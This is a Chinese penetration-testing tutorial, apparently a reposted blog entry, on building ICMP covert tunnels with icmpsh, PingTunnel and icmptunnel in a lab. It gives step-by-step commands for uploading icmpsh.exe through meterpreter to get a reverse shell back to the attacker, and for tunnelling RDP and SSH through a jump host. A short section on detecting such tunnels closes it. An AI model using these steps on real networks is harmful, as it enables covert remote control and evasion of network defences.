• ICMP隐藏通信隧道技术


    @

    简介

    ICMP隧道简单实用,是一个比较特殊的协议.在一般的通信里,两台主机要进行通信必须开放端口.而ICMP协议就不需要.
    最常见的ICMP协议就是ping命令的回复
    常见的ICMP隧道工具有icmpsh,PingTunnel,icmptunnel,powershell icmp等

    ICMP隧道搭建条件: 目标主机必须支持ICMP协议的进出
    探测ICMP协议是否支持: 目标主机与攻击主机能够相互PING通即可

    icmpsh

    icmpsh工具使用简单,便于携带,运行时不需要管理员权限

    利用icmpsh搭建隧道:

    1. 下载icmpsh
    git clone https://github.com/inquisb/icmpsh.git
    
    1. 安装python-impacket库
    apt-get install python-impacket
    或
    pip install impacket
    
    1. 关闭原来系统的ICMP应答
      因为icmpsh要代替系统本身的ping命令应答程序,所以输入以下命令关闭本地系统的ICMP应答
      (如要恢复应答,设置为0)
    sysctl -w net.ipv4.icmp_echo_ignore_all=1
    
    1. 运行run.sh
    ./run.sh # 会提示输入目标主机的IP地址 ,输入目标主机IP地址回车即可
    或(上面的可能会出错)
    ./icmpsh_m.py 攻击机IP 受害机IP
    
    1. 把icmpsh.exe上传到目标主机
      meterpreter下:
    upload /root/桌面/icmpsh/icmpsh.exe c:\icmpsh.exe
    (上传可能需要一定权限,可以不加路径,会上传到桌面 / 或者上传到其他有权限的地方)
    upload /root/桌面/icmpsh/icmpsh.exe
    
    1. 目标主机上运行icmpsh.exe程序
      shell里面运行
    icmpsh.exe -t 本地IP -d 500 -b 30 -s 128
    

    搭建成功会返回一个shell
    在这里插入图片描述

    PingTunnel

    PingTunnel可以跨平台使用.为了避免隧道被滥用,可以为隧道设置密码

    (windows下要在内网Windows机器上安装wincap类库)

    实验一

    通过跳板机访问web服务

    在这里插入图片描述
    环境准备:

    web服务器上开启web服务

    python -m SimpleHTTPServer 8000
    (python2)
    

    在这里插入图片描述
    隧道搭建:

    1. 分别在kali和跳板机上安装PingTunnel(root权限下)
    #安装libpcap的依赖环境
    yum -y install byacc
    yum -y install flex bison
     
    #安装libpcap依赖库
    wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
    tar -xzvf libpcap-1.9.0.tar.gz
    cd libpcap-1.9.0
    ./configure
    make && make install
     
    #安装PingTunnel
    wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
    tar -xzvf PingTunnel-0.72.tar.gz
    cd PingTunnel
    make && make install
    

    其他可能的依赖安装

    yum -y install gcc gcc-c++ kernel-devel //安装gcc、c++编译器以及内核文件
    
    1. 在跳板机上操作
    ptunnel -x 123456     #-x 指定连接密码
    

    在这里插入图片描述

    1. kali上操作
    ptunnel -p 192.168.88.129 -lp 1080 -da 192.168.130.131 -dp 3389 -x 123456
        -p 指定ICMP隧道另一端的IP
        -lp:指定本地监听的端口
        -da:指定要转发的目标机器的IP
        -dp:指定要转发的目标机器的端口
        -x:指定连接密码
    

    在这里插入图片描述
    至此隧道搭建完成

    访问本机1080端口(127.0.0.1:1080)

    在这里插入图片描述

    实验二

    通过跳板机远程连接win7

    在这里插入图片描述
    隧道搭建同上

    ptunnel -x 123456 # 跳板机
    
    ptunnel -p 192.168.88.129 -lp 1080 -da 192.168.130.130 -dp 3389 -x 123456 # kali
    
    

    使用远程连接工具krdc连接 127.0.0.1:1080

    在这里插入图片描述

    Icmptunnel

    攻击机: Kali IP 192.168.88.128
    靶机: Centos 7 IP 192.168.88.131

    适用场景:目标机器是Linux服务器的情况

    1. icmptunnel的安装
      分别在服务端和客户端安装 icmptunnel,安装过程如下
    git clone https://github.com/jamesbarlow/icmptunnel.git
    cd icmptunnel/
    make
    
    1. 服务端的操作(攻击机器):
    sysctl -w net.ipv4.icmp_echo_ignore_all=1      #禁用icmp回复
    ./icmptunnel -s                                       #监听
    重新打开一个命令行窗口
    ifconfig tun0 10.0.0.1 netmask 255.255.255.0          #添加tun0网卡,分配隧道地址10.0.0.1/24
    

    在这里插入图片描述
    在这里插入图片描述

    1. 客户端操作(对方机器):
    sysctl -w net.ipv4.icmp_echo_ignore_all=1       #禁用icmp回复
    ./icmptunnel 192.168.88.128                          #连接服务端
    重新打开一个命令行窗口
    ifconfig tun0 10.0.0.2 netmask 255.255.255.0          #添加tun0网卡,分配隧道地址10.0.0.2/24
    

    在这里插入图片描述
    在这里插入图片描述
    至此,ICMP隧道搭建完成

    • 隧道IP
      • kali: 10.0.0.1
      • Centos: 10.0.0.2

    通过SSH连接Centos:

    在这里插入图片描述

    防御ICMP隧道攻击

    分析ICMP数据包,检测恶意流量.具体方法如下:

    • 检测来自同一来源的ICMP数据包. 数量过多即不正常
    • 注意Payload大于64bit的数据包
    • 寻找相应数据包种的payload与请求数据包payload不一致的ICMP数据包
    • 检测ICMP数据包的协议标签,如:icmptunnel会在所有ICMP Payload前面添加"TUNL"来比哦及隧道

    参考
    https://blog.csdn.net/qq_36119192/article/details/100046761
    内网安全攻防:渗透测试实战指南

  • 相关阅读:
    bzoj 2442: [Usaco2011 Open]修剪草坪【单调栈】
    bzoj 1579: [Usaco2009 Feb]Revamping Trails 道路升级【分层图+spfa】
    bzoj 1646: [Usaco2007 Open]Catch That Cow 抓住那只牛【bfs】
    bzoj 1677: [Usaco2005 Jan]Sumsets 求和【dp】
    bzoj 1657: [Usaco2006 Mar]Mooo 奶牛的歌声【单调栈】
    洛谷 P4180 【模板】严格次小生成树[BJWC2010]【次小生成树】
    bzoj 1660: [Usaco2006 Nov]Bad Hair Day 乱发节【单调栈】
    bzoj 1726: [Usaco2006 Nov]Roadblocks第二短路【dijskstra】
    bzoj 1631: [Usaco2007 Feb]Cow Party【spfa】
    bzoj 1669: [Usaco2006 Oct]Hungry Cows饥饿的奶牛【dp+树状数组+hash】
  • 原文地址:https://www.cnblogs.com/l0nmar/p/13435499.html
Copyright © 2020-2023  润新知